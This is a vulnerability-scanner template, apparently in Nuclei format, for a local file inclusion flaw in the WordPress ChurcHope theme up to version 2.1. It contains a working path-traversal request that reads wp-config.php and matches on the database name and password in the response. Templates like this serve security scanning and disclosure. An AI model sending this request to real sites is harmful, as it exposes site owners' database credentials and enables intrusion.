WordPress ChurcHope Theme <= 2.1 is susceptible to local file inclusion. The vulnerability is caused by improper filtration of user-supplied input passed via the 'file' HTTP GET parameter to the '/lib/downloadlink.php' script, which is publicly accessible.
PoC代码[已公开]
id: churchope-lfi
info:
name: WordPress ChurcHope Theme <= 2.1 - Local File Inclusion
author: dhiyaneshDK
severity: high
description: WordPress ChurcHope Theme <= 2.1 is susceptible to local file inclusion. The vulnerability is caused by improper filtration of user-supplied input passed via the 'file' HTTP GET parameter to the '/lib/downloadlink.php' script, which is publicly accessible.
reference:
- https://wpscan.com/vulnerability/3c5833bd-1fe0-4eba-97aa-7d3a0c8fda15
classification:
cwe-id: CWE-22
metadata:
max-request: 1
tags: wp,wpscan,wordpress,wp-theme,lfi,vuln
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "DB_NAME"
- "DB_PASSWORD"
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100ff0986f780855d56be64d8481205ea173a4ff85d474e0accbfc9bb110f6415ad02210094bf8527f8a36943afd2c181a623a6e606936acb5e392959cc3c2ed24c885d8b:922c64590222798bb761d5b6d8e72950